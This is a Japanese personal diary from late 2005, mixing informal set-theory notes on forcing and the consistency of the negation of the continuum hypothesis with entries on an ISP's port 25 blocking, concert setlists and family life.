実際「積集合」という言葉は案外広く誤用？されている場合が多く、共通部分を表すのに使われたり、場合によっては冪集合を表すのに使う人もいたりするのです。実際にはもちろん $X\times{Y}~=~\{z\,|\,\exists{x\in{X}}\exists{y\in{Y}}(z=(x,y))\}$ が本来の積集合で、 $X\cap{Y}~=~\{z\,|\,z\in{X}\wedge{z\in{Y}}\}$ が共通部分、 $\mathcal{P}(X)~=~\{Y\,|\,Y\subset{X}\}$ が冪集合というわけです。共通部分を積集合と誤用する場合があるのは、恐らく確率論での事象の積との関連あたりからくるものだと推測されるのですが、冪集合と誤用する理由はいまいち分かりません。
余談ですが集合に関連して使用される場合がある言葉で、「含む」というのもあいまいな表現で、 $x\in{X}$ のことなのか $x\subset{X}$ のことなのかはっきりしません。最初の例は「要素である」二番目の例は「部分集合である」という明確な言葉を使用するべきです。まあ文脈で分かるからどうでも良いともいえるのですが(笑)。

2005年10月4日(火)

禁止された 25番ポート
おうちのインターネット接続では IIJmio の DSL/DF プランを利用しているのです。このプランの利点としては、ネットワーク層の提供以外は行わない、即ちメール関連のサービスとか、HTML 置き場等のサービスはないのですが、IIJ にしては(笑)価格が安いということでしょうか。
ところが本日 IIJより「迷惑メール送信への対策について（Outbound Port25 Blocking）」] なるメールが来まして、内容の一部を抜粋しますと、

さて現在、携帯電話やパソコンに勝手に送られてくる「迷惑メール」は、年々増加の一途を辿っており、ウイルス感染の原因や、詐欺の手段として利用されるなど、その被害が深刻化しています。
このような迷惑メールへの対策の一環として、弊社としては、本年10月18日より、動的IPアドレスにてフレッツ及びアクセスコミュファをご利用のお客様から携帯電話事業者（NTTドコモ・au・ツーカー・ボーダフォン）へ送信されるメールにつき、迷惑メールを規制する手法である「Outbound Port25 Blocking」を導入させていただくことといたしましたので、お知らせいたします。
参照：迷惑メール送信への対策について（FAQ)
https://www.iijmio.jp/guide/faq/op25/index.jsp

とうことなのです。実を言いますと色々なプロバイダーでメール送信に関する規制が増えつつあることは知っていたのですが、IIJmio の DLS/DF 系の様なネットワーク層のみのサービスの場合、プロバイダーを必要としないのが利点なので、このようは規制をするのは難しいのではと考えていたのです。
幸いおうちの場合アイネットディのレンタルサーバー経由でメールの送信を行っているので、上記の規制に関しては当面問題ない(おうちからレンタルサーバーへは携帯でないので大丈夫。レンタルサーバー以降のトラフィックは IIJmio と関係がない) と考えられるのですが、将来的には次の様な問題が生じる場合もあるかも知れません。
1. もしアイネットディのサーバーが不調になった場合、とりあえず自宅から直接携帯にメールを投げることが出来なくなる。
2. 将来的に自宅サーバーのみの運用を行おうとした場合、固定アドレスが必要となるが、当然そんな予算はありません。
3. アイネットディに万が一のことがあった場合パニック状態になる。まあこれは SMTP 規制と関係なくぱにくるのですが(笑)。
IIJmio によりますと、プロバイダー経由でメールを転送するかお金をたくさん払って固定アドレスにしなさい！ということなのですが、DSL/DF プランってそういうのの必要ないのが利点だったのでは？ネットワーク層のみのサービスなんだからトランスポート層なんか参照せず、経路表通り素直に IP 通しなさいよ！！。
うーん、今後ますます自宅サーバー派にとっては暮らしにくい世の中になっていくのかも知れません。困ったものです。

2005年10月1日(土)

今日から10月
今年も残り少なくなってきました。先月は猫森集会があったり、仕事の仕上げがあったりと息つく暇も無い一ヶ月でしたが、今月はどんな月になるのだろうか。
今日はモカちゃんの運動会。元気でした(^^。運動会が終わってから知人のネットワーク関連のお手伝いに行ってきました。しばらくボランティアでかかわることになりそうな予感。こういう場合の問題は、仕事という程ではないし時間の制約もあるので、自分の好みで設定を行ってドキュメントもろくに残さないということでしょうか。知人はもちろんのこと自分も後で訳が分からなくなってしまうと、お手伝いをしたつもりが実際には迷惑をかけたことになってしまう場合もありうるのです。そうはいうものの、とりあえず色々と実務で要求される環境を整える必要もあるわけで、そのあたりの案配の調整を上手に行う必要がありそうです。まあぼちぼちやってけばなんとかなるでしょう(笑)。

2005年9月30日(金)

おうちに帰る
二泊三日の出張を終えておうちに帰ってきました。いくつかトラブルがあったもののなんとか(無理矢理？)収束させました。ところでいつの間にか阪神が優勝してたのですね。全然知らなかったです(笑)。それからモカちゃんもちゃんと修学旅行から帰ってきていまして、なんとおみやげを買ってきてくれたのですよ(^^。これを持って歩くとお金持ちになるのかな。それはそうと明日は姫の運動会。忙しい日々が続くのです(^^。

2005年9月28日(水)

つくば出張
今日から三日間つくばに出張です。この半年間の仕事の仕上げとなります。一応今日はうまくいきました(^^。ところでモカちゃんは昨日から日光に修学旅行です。はてさてなにかおみやげを買ってきてくれるのだろうか。軍資金上げるの忘れたから微妙ですな(笑)。

2005年9月26日(月)

会社に泊まり
今日は徹夜で仕事です。いやはや連休と猫森で仕事の手を抜いてたしわ寄せが一気に爆発です(笑)。

2005年9月25日(日)

猫森集会楽日

第一部(王国まで)で森関連の幻想的な曲が続いた後、横の扉から山口ともさんが太鼓を叩きながら登場し、浩子さんは「わたしはとっても寝起きが悪い」を演奏。わたしゃ全然予備知識がなかったので、むむむのむ、もしかしてこの人はちんどんやさんかそれとも食い倒れ人形なのか？と思っていたら、浩子さんのつっこみも「食い倒れ人形さんですか」とのこと(笑)。ご本人によるとヴィジュアル系だそうで、日本廃品打楽器協会会長件ただ一人の会員なのだそうです。

廃品打楽器の演奏はとても楽しく、アリス系のコミカルな曲はもちろんなのですが、SORAMIMI といわゆるどこどこ太鼓(何と言う名前だったかな)が見事にはまっていたのにはびっくり(^^。

トークもとても楽しく本年最後の猫森は大満足だったのでした。最後のアンコールがとても好きな曲だったのもうれしかった。明日からは日常の生活に戻る訳ですが、満足感とともに祭りが終わった後の様な寂しさを感じるのは私だけではないと思います。

曲番号曲名備考

オープニングまっくら森の歌 AQさんと合奏

1 森へおいで森シリーズ

2 洗濯かご

3 elfin

4 王国森の中に明りが...

5 わたしはとっても寝起きが悪い山口ともさんと

6 公爵夫人の子守唄

7 ハートのジャックが有罪であるところの証拠の歌

8 ウミガメスープ

9 パラソル天動説

10 トライアングル

11 意味なしアリス

12 ボクハ・キミガ・スキ

13 SORAMIMI

終曲カントリーガール

アンコール僕は帰るきっと帰る

アンコールここにいるよ二日目のみ

2005年9月24日(土)

猫森集会七日目
今日と明日はは日本廃品打楽器協会会長の山口ともさんがゲスト。とても楽しかったですよ(^^。詳細は明日。

2005年9月23日(金)

猫森集会六日目

今日はお昼から 17時30分まで全曲浩子さんのカラオケに参加。その後新宿へ。今日もオールリクエスト。楽しかったです(^^。

曲番号曲名備考

オープニング風の子供

1 FLYING リクエスト

2 椅子

3 夕暮れの街角で

4 再会

5 白い帽子

6 流星少年

7 Elfin

8 地上の星座

9 楽園のリンゴ売り

終曲素晴しき紅マグロの世界

アンコールあたしの恋人

2005年9月22日(木)

猫森集会五日目

つくば出張もめずらしくトラブルなく終了し、なんとか間に合いそうだな～、と思って帰ろうとしたら、お客さんの偉い人だ出てきてどうでもよい話を始めたのです。いやっその～、これから猫森なんで今はそんなことはどーでもいいんですって！！。なんて言えるわけもなくかなりあせったのですが、なんとか 15分くらいで終ってやっと解放されたのが 16時頃だったのでした(^^。「つくばエクスプレス」で大急ぎで新宿へ。

今日はCプログラムのオールリクエストでゲストは例年通り斎藤ネコさん。下の曲目のようにとてもバランスが良いリクエストで、たっぷり楽しむことが出来ました。ちとクイズが易しすぎるのと難しすぎるのが両極端で、さらに時間がかかりすぎるのが難点かな(^^。

曲番号曲名備考

オープニングあやつり人形

1 遠い夏～津軽に寄せて～

2 少女は…II

3 紙吹雪

4 冷たい水の中を君と歩いていく

5 テングサの歌

6 ドッペル玄関

7 月のかたち

8 ひとみの永遠

9 王国

10 なおちゃん

終曲素晴しき紅マグロの世界

アンコールポンピイ・クラウンの片想い

2005年9月21日(水)

つくば出張
今日から明日にかけてつくば出張です。なので明日の猫森に間に合うかは微妙です。トラブルがなければぎりぎり間に合うかも知れませんが、トラブったらアウトです。まあこればかりは仕方ないです。

2005年9月20日(火)

猫森集会四日目

まず浩子さんとAQさん登場。でもなかなか栗コーダーカルテットの方々が登場しません。一日目は浩子さんも「もうちょっと待って下さいね」と少々落ち着かない様子でした。いやー、いつまでたっても登場しないので、もしかして何か事故でもあって遅れているのかと思いましたが、楽器は置いてあるしどうもそうではなさそう。本当にどうしたのだろう？と余計なことを考えているうちにもプログラムは進行し、結局ゲストの登場は10曲目あたりだったのでした。

栗コーダーカルテットとの演奏は、昨年暮れの江東区文化会館で聴いたときとても良かったので、今回も期待していたのですが、曲目も合奏の部分に関しては去年とほとんどおんなじで少々がっかりしたことは事実です。まあ本日(Bプロ・二日目)「そんなものだ」と分かって聴き直してみると、前半・後半いずれも素晴らしい演奏だったので、昨日は私が余計なことを考えすぎたのでしょう(笑)。

曲番号曲名備考

オープニングすずかけ通り三丁目

1 お昼寝宮・お散歩宮同名の小説より

2 夢の逆流

3 カイの迷宮雪の女王より

4 岸を離れる日

5 向こう側の王国不思議の国のアリスより

6 ウサギ穴

7 雨のアタゴオルアタゴオルはねこの森より

8 人生は一本の長い煙草のようなもの

9 アトカタモナイノ国月光シアターより

10 そっくりハウス栗コーダーカルテットと合奏

11 猫のみた夢

12 月が誘う

13 クルル・カリル

14 空からマリカが

終曲さよならのかわりに
アンコール鳥は鳥に全員で合唱

2005年9月19日(月)

猫森集会三日目
新宿のビッグカメラで人様に頼まれた USB ハードディスクを購入。良く知らなかったのですが 250Gで 16,800円しかしないのね。でも重かったです。まあポイントが 20% ということで、3360円私のポイントに加算されたので良しとしましょう(^^。今日は栗コーダーカルテットの皆さんががゲスト。詳細は明日。

2005年9月18日(日)

猫森集会二日目

17時30分頃新宿に着いたら急にお腹が空いてきたので南口の吉野家へ。Mさんに目撃されていたらしい(^^。さらに会場に入ってから、浩子さんのコンサートでは絶対に忘れてはいけない筆記用具を忘れたのに気づき、Tさんに貸して頂きました。どうもありがとうございます。

Aプログラムのゲストはベースのバカボン鈴木さん。昨日はスーツ姿だったが今日はラフなスタイル。途中の「バカボン鈴木さんと語ろう」コーナーでは、バカボンさんがミュージシャンになった経緯を(これが中々一筋縄ではない^^)かなり長時間に渡りトーク。一日目は時間が足りなくなった感じで、後半の進行にややあせりが見えた浩子さんだったのでした(^^。

肝心の演奏ですが、下の曲名からも分かるように、「最初のプログラムなのにこんなに大盤振るまいしちゃって大丈夫？」という感じです(笑)。個人的には美しい「雨の国・雨の舟」の演奏から始まって「少年シリーズ」・「機嫌が悪い人たち」と迫力ある演奏が続き、最後の「きみの時計がここにあるよ」に繋がる音楽の流れがとても素晴らしかったと感じたのです。

曲番号曲名備考

オープニング小さな魚

1 MOON SONG 月シリーズ

2 青い鳥

3 DESERT MOON

4 水晶散歩アタゴオルは猫の森より

5 鯨のため息

6 空の駅月光シアターより

7 雨の国・雨の舟

8 星より遠い少年の恋の歌(会いたがってる)

9 会いたくて

10 冷たい水の中をきみと歩いていく少年の恋の歌(もう会いたがってない)

11 電波塔の少年

12 仇機嫌が悪い人たち

13 人がたくさんいる

14 犬を捨てに行く

終曲きみの時計がここにあるよ

アンコールドッペル玄関

2005年9月17日(土)

猫森集会初日
今日は猫森集会の初日です。実はまだアタゴオルの DVD を買ってなかったので、少々早めに家を出て先頭の方ににならんで、 DVD のおまけのクリアファイル(赤)と「月光シアター」のときの葉書セット(ここまでは全員)、それからサイン色紙(これは先着)をゲットです。コンサートの内容は明日書く予定ですが、とってもとっても良かったですよ～(^^。

2005年9月16日(金)

OmniGraffle 4
数日前に正式ヴァージョンがリリースされた様です。実際には一月程前から評価用 RC 版を使用していたのですが、特に動作に問題がないのと、いつもとってもお世話になっているソフトウエアーなので 49ドル支払ってヴァージョンアップです。ヴァージョン 3と比較すると、自然な感じの曲線がひきやすくなったのと、テキストでアウトラインを入力すると、それを表現した図式を自動的に作成出来る機能が追加されたのがうれしいです。
まあ新しい機能を特に良く使用する訳ではないのですが、Omni Group というのはそんなに大きい会社ではなさそうなのにもかかわらず、私にとっては Mac で最も役に立つソフトを作ってくれいている訳で、定期的に税金を納めてつぶれないようにお祈りする、というのが本当のところだったりします(^^。
これで LaTeX の数式モードをシミュレートして図の中に自動的に数式を作ってくれるともっとありがたいのですが(今はいちいち LaTeX で数式作って PDF 化したのを貼付けている)さすがにこれはちと無理でしょうなあ(笑)。
それはそうと、明日から恒例の猫森集会です。一日だけ中休みがあるのですが、土曜日から翌週の日曜日までの 8日間公演です。とってもとっても楽しみですなのですが体力もつかな(^^。あと来週の火曜日と木曜日の平日公演。こちらはなんとか行ける様に仕事の調整をしといたのですが、トラブルがあったりすると行けないかも知れません。でもそんなことになったらかなりのショックでしょうな。
＃木曜日はつくばから直行なのです。

2005年9月15日(木)

もうひとやすみ・可算濃度の不思議
[集合論雑記目次]
今日はおおはずれしてるかも知れません...。つまり集合論ではとても大きな濃度 $\kappa$ の存在を仮定し種々の結果を導く訳ですが、それらは $\mathbb{P}=\{f\,|\,f\text{~is~a~function~from~a~finite~subset~of~}{\omega}\mathrm{~into~}\kappa\}$ による強制により可算な順序数となります(*)。もちろんこの場合基数の絶対性は成立しないのですが、順序数に関する絶対性は成立している訳で、可算濃度の順序数 $\kappa\in{M[G]}$ の「数え上げ」は実質任意の(巨大な)基数までの「数え上げ」と同等になると思うのです。考えてみるとZFCの可算モデルを考えたりすること自体が、「外から見ると」任意の基数や順序数を可算の世界で表現していることになるので、上の事実はそんなに意外ではないのですが、やはり直感的に非常に難しいと感じるとともに $\omega_1$ 未満の順序数の豊富さを実感します。
つまり $\omega_1$ 未満の順序数の構造を良く理解するということと、巨大基数の性質や存在に関しての理解については密接な関連があるのだと思います。そのようなに考えると、この一年半くらいで集合論を勉強する前の疑問(**) にもほんの少しだけ近づけたのかな、という気がしないでもありません。いやいやまだ全然分かってないというのが本当なのですが(笑)。
(*)
$G$ を $\mathbb{P}$ -generic とし $p||-\dot{f}=\bigcup{G}$ とします。このとき $\alpha\in\kappa$ に対し $D_\alpha=\{d\in{\mathbb{P}}~\,|\,~\alpha\in\mathrm{ran}(d)}$ を考えると $D_\alpha\in{\mathrm{P}}(\alpha\in\kappa)$ は元のモデルの要素でかつ $\mathbb{P}$ において稠密なので $G\cap{D_\alpha}\neq\emptyset.$ 従って $p||-'~\dot{f}\text{~is~a~function~from~}\check{\omega}\mathrm{~onto~}~\check{\kappa}.'$

(**)
「強到達不可能性の様な極端に大きい「巨大基数」の存在性や性質が実数の性質に関与する辺りの細かい事情は今のところ勉強不足のせいで全然分からないのであります。」の部分。

2005年9月14日(水)

モデルロケット打ち上げ従事者
高校三年生の二女もなんのかんのでもうすぐ大学受験なのです。そこで志願書に書くために今まで取った資格を確認していたのですが、その中から出て来たのが、
ロケット打ち上げ資格 4級
なるものなのです(^^。なにそれ？と聞いたところ、この資格があるとロケットを100メートルの高さまで打ち上げてよいとのこと。ほんとかいな(笑)。
というわけで調べてみたところ、どうもこちらの資格のようで、なんか学校の行事かなんかでロケットの打ち上げ講習会に行ったらもらえたとのこと。でも 4級の場合「C型エンジンまで使って良し」と書いてあるけど 100メートルなんてどこにも書いてありません。もしかすると C型エンジン(といってもなんのことか分からないのですが...)を使用すると 100メートルまで上がるのかな。
いやはや世の中いろんな資格があるもので、まあ場合によっては怪しいものも散見されることは事実なのですが、こういうのはねたとして面白いので良しとしましょう(^^。
続・はずれ
ちまたで話題になっている「プレイステーション2」のACアダプター不良のお知らせメールが私のところにも来ました。ふむふむ、昨年の8月から12月の間に生産されたものの中に不良品が混在している可能性があるのですな。というわけでおうちに帰ってから型番と製造日付を調べたのですが、型番も違うし製造日付は今年の一月、ということで前回に続きまたもはずれだったのでした(^^。でもバッテリーの交換だととってもとってもうれしいのですが、ACアダプターの交換なんてちっともうれしくありません。なので今回ははずれで大正解だったのです。

2005年9月13日(火)

近況
ちゃんと生きてます(^^。でも最近更新が滞ってますねえ。なんかいまいち書く気力が...。一昔前どっかに「日記四年定年説」ということが書いてあるのを読んだことがあるのですが、この日記も三年半位書いてるので、もしかすると危ないのかな。
それはそうとちと知り合いに頼まれて、ドメイン取得の手続きを行いました。ホームページとリンクしたいという話だったので、アイネットディの Light プランを推薦したのですが、ドメインの仕組みとか「別名」というのがいまいち分かりにくく自信がないということなので、代わりに取得手続きを行ったのです。もちろん名前とかメールアドレスは知人のものを入力したのですが、その後の本人確認や振り込み等どうやらすべてうまく行ったようで、 whois データーベースでも知人がドメイン取得者として見える様になりました。でも自分の家で人様の名前とかメールアドレスを入力するのはちと抵抗感がありました。さらにドメイン名を間違えるとしゃれにならないので、結構神経を使ったのです。こんどこういう機会があった場合、入力画面のコピーをとって、「ここはこういう風に」とメールで教える様にした方が良いかも知れません。
私自身も良くわかってる訳ではないのですが、一般の人にとってインターネットの仕組みは存外分かりにくい様です。でもそういう人のところにADSLの設定とか手伝いに行くとおうちより10倍も速かったりするのです(笑)。いやはや世の中うまくゆかないものですなあ(^^。

2005年9月7日(水)

続・たこやき
最近はほとんどプログラム書かないで、CFのたこやきにはげんでおります(^^。マスターCFは業者の方でまとめで焼いて下さるのですが、その他細々としたテスト等に使うのが 100枚以上の単位で必要になったりするのですよ。50毎位焼いてからバグが見つかったりするともう泣きそう(笑)。
ところで大阪ではたこ焼き器は一家に一台、これ常識とのこと。いやいや東京ではたこ焼き器は一社に一台なのです(←うそつけ)(^^。

2005年9月6日(火)

ティンカーベル
今日はなんとなく雨が降りそうだったので傘を持って家を出たのですが、案の定会社の近くの駅で降りたらぽつりぽつりと降っていたのです。よしよしさすがに先見の明がある＞私...と自分をほめて傘を開いたのですが、なんと
とってもとっても目立つティンカーベルの絵が(笑)。
しまったー、間違えた～(^^。ところで、こういう傘を使うのは長女に違いないと思って、長女の携帯にごめんなさいメールを送ったのですが、そんなのには心当たりがないとのこと。うーん不思議...。良くわからないので、奥様に顛末をメールしたのですが、なんとその傘は奥様のものだそうな。あれれっ、 20年以上一緒に暮らしているけど、そんな趣味があったとは知らなかったです(^^。
余談ですが傘持たずに会社に行き、帰りに雨が降ってて、そのあたりの誰も使ってなさそうな傘を借りて帰ったことが何回かあるのですが、大分おうちにたまってしまっています(←おい)。そろそろ返さないといけませんねえ(^^。。

2005年9月2日(金)

すいか事件
最近近場への出張が多いので JR東日本の Suica を利用しているのですが、先日改札を出ようとしたら
× -1,200
なる表示が出たのです。むむむのむ、これは 1,200円の不足で精算の必要があるのかな～、と思ったのですが、なぜか何の音も出なかったのと、関門がしまらなかったので、そのまま駅から出てしまったのです(笑)。
で、昨日ちと充電でもしようと思い、Suica 充電器(正式には何と言うのだろう...) に挿入したところ、こんどは
このカードは使用出来ません。駅員にお尋ね下さい。
てな感じのメッセージが出たのですよ。ふーん...残金が負になっている場合充電出来ない仕組みなんですか。それにしてもいくら負債があるかを表示しないとは陰険な(^^。このまま駅員さんのところに持ってくと 1,200円徴収されてしまうのは間違いなさそうです。ということは今持ってる Suica は破棄して新しいのを 500円で買った方が絶対に得ですよねえ(笑)。JR には切符を紛失して余分なお金を払う場合もあるので、たまにはこんなことがあってもよいでしょう。私の場合、JRと小田急線両方を使って通勤するので、Suica を定期に使用することは出来ないのですが、今回はそれがとってもとっても幸いだったことになります(^^。

2005年9月1日(木)

浜松公演
今日は浜松で浩子さんの公演があるのです。なので最後の夏休みを使って新幹線でおでかけです。ところで品川の新幹線の駅で「無料の無線LANサービス」なるものがあったので早速接続してみたところ、うまいこと問題なく繋がるようで、おうちにping なんかがちゃんと通るようになったのです。
ところがおうちに ssh で入ろうとしたら、これが全然入れないのですよ(^^。うーん、ちょっと調べたところどうも HTTP,SMTP,POP系のポート以外はフィルターされている感じで、いやはやこれでは何の役にもたちません。というわけで、結局 AH-K3001V でこの日記をアップして、もうすぐ新幹線に乗るのですが、コンサートの様子等は気が向いたら後で(^^。

2005年8月30日(火)

つくば出張
今日から明日まで一泊二日でつくば出張です。

2005年8月29日(月)

お誕生日
本日は谷山浩子さんのお誕生日ということでまことにおめでとうございます。

2005年8月28日(日)

ひとやすみ・これからの集合論雑記
[集合論雑記目次]
正直言ってずいぶん長く続いていると思います(笑)。だって書き始めた頃は順序数も知らなくって、そのあたりをある程度きちんと理解出来たら終わりにする予定だったので。もしかして私って案外しぶとい性格なのか(笑)。←飽きっぽい割に、パターン化した同じようなことを繰り返すのが苦にならないのは確か(^^。
それはそうと今後どうしようか。強制法に関してはやはりどうしても知っておきたい知識であったので、比較的真面目に勉強したつもりですが(いや！日記にはたくさん間違ったこと書いたと思いますし、最初は全然意味が分からなくてかなりへこんだ...)、これからは実数の初等的な性質とか、無限集合の分割の性質、それからゲーデルの L 等、基本的な体力部分を補わないと無理に先に進んでも内容の把握が出来なくなることは間違いありません。
というわけで一月か二月間くらいは基本的な部分の勉強に専念することになりそうです。勉強した内容は日記に書く予定ですが、余り細かい証明は書かないかも知れません。それから強制法に関しては勉強しながら書いたので、論理的な順序がかなりまずいのと、最初良くわかってなかった時点(今でもというつっこみもあるかな)での間違いもかなりありそうなので、一度「本物」の LaTeX できちんと書き直したいという願望もあるのです。まあ一応Generic-標準名称のみを使った forcing の議論でがんばったということもありますので。
ちと気になっているのは、ここ数ヶ月の日記を読み直してみると、どうも面白いねたに出会ってないし、考えつくことも出来ない傾向が強まっています。なにか良い処方箋はないものですかねえ(笑)。このままだと集合論雑記以外の記事がなくなってしまいますよ。ただでさえつまんない日記がそんなことになっては本当に困ってしまいます(^^。

2005年8月27日(土)

トリプルディスプレイ
普段会社では PowerBook の外部ディスプレイ出力を利用してデュアルディスプレイ環境を使用しているのです。この環境で FreeBSD や Linux マシンに対してはssh でログインすれば作業可能なので特に不便はありません。そもそも会社での仕事用 Linux マシンにはコンソールが繋がっていなかったりします(^^。
ところでこういう環境で不便なのがやはり Windows なのであって、当然のごとくそちらを操作す場合、別のキーボードとマウスを使う必要があるのです。ところが慣れというは恐ろしいもので、PowerBook 作業状態から Windows の作業に移行する場合、右図の様な配置になっていると思わずマウスを画面の上の方に持ってってしまう場合が多いのです(^^。
うーんどっかの会社が複数 OS 対応の「トリプル以上ディスプレイ」自動移動対応無線キーボード・マウスなんてのを作ってくれませんかねえ。ドライバーを書けば汎用品でも動作しそうだし、少なくとも私は買うと思うのですが(笑)。なんてことを会社で話していたのですが、そもそも「かたぎのひと」はディスプレイを3台以上、さらに複数 OS 並べて作業するなどということはあんまり無い訳で、そんなに売れないから誰も作らないであろう、という意見が主流を占めたのです。確かに言われてみるとそんな気もしないではないのですが、あればとっても便利だと思うのです。ひょっとしたら売れるかも...。誰か作って大もうけしませんか～(^^。

2005年8月26日(金)

連続体仮説の ZFC からの独立性・二回目
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

昨日からの証明の続きです。半順序集合 $\mathbb{P}\in{M}$ がある種の条件を満たす時、 $M$ の基数が強制関係において保存されることを示すのです。最初に次の記号を導入します。
$\cal{F}(X,Y,\kappa)=\{f\,|\,f$ は $X$ の部分集合から $Y$ への関数で $|\text{dom}(X)|<\kappa\}$
特に $\cal{F}(X,Y,\omega)$ を単に $\cal{F}(X,Y)$ と記述します。順序はいつもの通り $p\le{q}\leftrightarrow{q}\subset{p}$ で定義することとします。

[定義] 一般に順序集合 $\mathbb{P}$ が c.c.c(countable chain condition)を満たすとは、 $\mathbb{P}$ の任意の antichain からなる部分集合が可算であること。

[定理 1] $Y$ が可算のとき、任意の $X$ に対して $\mathbb{P}=\cal{F}(X,Y)$ は c.c.c を満たす。

$(p_\alpha)$ を $\mathbb{P}$ の非可算な antichain 仮定します。するとデルタレンマにより非可算な $(p_\alpha)$ と有限集合 $r$ が存在して、
$\forall{\alpha,\beta}(\alpha\neq\beta\rightarrow~\text{dom}(p_\alpha)\cap\text{dom}(p_\beta)=r)$
を満たします。従って $Y$ が可算なことから、非可算個の $p_\alpha$ は $r$ 上で一致するのでこれらの $p_\alpha$ はすべて compatible となり矛盾です。

[定理 2] $\mathbb{P}=\cal{F}(X,Y)$ -Generic による拡大でおいて基数は保存される。

この定理が証明出来れば昨日の結果と合わせて、「連続対仮説の否定はZFCと矛盾しない」ことの証明は完了します。

[補題 2.1] $G$ を $\mathbb{P}$ -Genericとするとき $M[G]$ の基数は $M$ の基数。

$\beta$ が $M$ の基数でないと仮定すると $\alpha<\beta$ と上への関数 $f:\,\alpha\rightarrow\beta$ が存在します。このとき任意の $p\in\mathbb{P}$ に対して $p||-'\check{f}\text{~is~a~function~from~}\check{\alpha}\text{~onto~}~\check{\beta}'$ が成立します。

[補題 2.2] $M$ での正則基数は $M[G]$ での正則基数。

$\kappa$ を $M$ での正則基数とし $M[G]$ での非正則な順序数と仮定すると、 $p\in{P}$ と順序数 $\gamma<\kappa$ さらに名称 $\dot{f}$ が存在して
$p||-'\dot{f}\text{~is~an~unbounded~function~from~}\check{\gamma}~\text{~to~}\check{\kappa}'.$
ここで各 $\alpha<\gamma$ に対し
$A_\alpha~=~\{\beta\in\kappa\,|\,\exists{q<p}~(q||-\check{\beta}=\dot{f}(\check{\alpha}))\}$
とすると $A_\alpha\in{M}$ が成立し $q<p$ を固定して $q||-\dot{y}=\dot{f}(\check{\alpha})$ が成立していると仮定すると $q||-\dot{f}(\check{\alpha})\in\check{\kappa}$ なので dense below $q$ なる $r$ に対して $\beta<\kappa$ が存在して $r||-\dot{y}=\check{\beta}.\,$ 従って $r||-\dot{f}(\check{\alpha})\in\check{A}_\alpha$ が成立し $q<p$ は任意だったので $p||-\dot{f}(\check{\alpha})\in\check{A}_\alpha.\,$ ここで $B=\bigcup_{\alpha<\gamma}{A_\alpha}$ とすると $B\in{M}$ で $p||-'\check{B}\text{~is~an~unbounded~subset~of~}\check{\kappa}'$ が成立します。従って $M$ において $B$ は $\kappa$ の非有界集合であることが分かります。
残るは $|B|<\kappa$ の証明ですが、各 $\alpha<\gamma$ に対して $A_\alpha$ の要素に対応する $q<p$ を「選択」するとこれらは incompatible なので $|A_\alpha|\le\aleph_0.\,$ 従って $|B|=|\gamma|<\kappa.$

[補題 2.3]補題2.2の条件が成立しているとき cofinal も保存される。

$\alpha$ が極限順序数で、真増加 cofinal 関数 $\alpha\rightarrow\beta$ が存在する場合 $\text{cf}(\alpha)=\text{cf}(\beta)$ であることに注意すれば良い。

[補題 2.4]補題2.3の条件が成立しているとき基数は保存される。

正則基数の場合と極限基数(正則基数の極限になる)の場合おのおの成立するので。

本日は Kunen の本を多いに参考にしました。特に補題[2.3][2.4]はそのまんまです。いちばんどうでもよさそうな部分なのですが補題[2.1][2.2]より難しかったです(汗)。やはり基礎体力不足ですな。それにしてもうまく出来てるもので、補題[2.2]は強制法を最初に勉強する時のとても良い、すなわち簡単だけれど本質的な部分を凝縮し、さらに元のモデルから強制法に拡大モデルが「ぼんやり」見えるという雰囲気が良くわかる証明の例になっていると思います。
いずれにしても「集合論雑記」を書き始めてからの一つの目標まで到達した感じなので、今後は強制法の勉強をさらに継続するとともに、実数の性質とか、分割の性質とかの方の基礎体力も充実させる必要があります。いやはやほんとに一生もんの趣味になってしまったようで(^^。
ちなみにお題目は「連続体仮説の ZFC からの独立性」となっていますが、この雑記で記述したのは「連続対仮説の否定が ZFC と矛盾しない」ことのみであり、独立性に関しては「ゲーデルの $L$ 」ついても言及する必要があることはもちろんです。

2005年8月25日(木)

台風来たる
今23時頃ですが、かなり雨風が強くなってきました。おうちの中にいると良くわからないのですが、ちと窓を開けると近づいてるな～、ということを実感します。夜中に通過してしまえば良いのですが、かなりゆっくりとした台風らしいので、明日の朝の通勤時になってもまだ通過中かも知れません。でも、そうなったらやだな。明日は会社経由でつくばにいかにゃならんのですよ。しかも一緒に行くはずだった人が、名古屋方面からの新幹線が止まってしまい、足止め状態だという。ほんとに行き着けるのだろうか(^^。
連続体仮説の ZFC からの独立性・一回目
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

やっと「連続体の否定は ZFC と矛盾しない」ことの証明を記述出来そうです。今日は前半戦の簡単な部分。
いつもの通り $M$ を集合論の推移的なモデルとします。まず $\lambda$ を非可算基数とし
$\mathbb{P}=\{p\,|\,p\text{~is~a~function~from~a~finite~subset~of~}~\lambda\times\omega\text{~to~2}\}$
とし $\mathbb{P}$ の順序は $p\le{q}\,\leftrightarrow\,q\subset{p}$ にて定義します。 $\dot{G}$ を $\mathbb{P}$ -Generic の標準名称とし $\dot{f}$ を $\mathbb{1}||-\dot{f}=\bigcup{\dot{G}}$ を満たす名称とします。このとき次の事実を示すことは容易です。
$\text{(a)}\,\,~\mathbb{1}||-\dot{f}~\text{~is~a~function~from~a~subset~of~}~\lambda\times\omega\text{~to~2}.$
$\text{(b)}\,\,~\dot{f}_\alpha$ を $p||-\forall\alpha\in\lambda\forall{n}\in\omega~(\dot{f}_\alpha(n)=\dot{f}(\alpha,\,n))$ を満たす関数 $\text{subset~of~}\omega\rightarrow{2}$ を表す名称とするとき $p||-\forall\alpha\in\lambda(\text{dom}(\dot{f}_\alpha)=\omega)$
$\text{(c)}\,\,\text{(b)}$ と同じ仮定において $p||-\forall\alpha,\beta\in\lambda(\alpha\neq\beta~\rightarrow~\dot{f}_\alpha\neq\dot{f}_\beta)$
(a)は $\dot{G}$ が強制関係においてフィルターであることに帰結です。
(b)は
$D_{\alpha,n}~=~\{p\in\mathbb{P}\,|\,(\alpha,n)\in\text{dom}(p)\}$
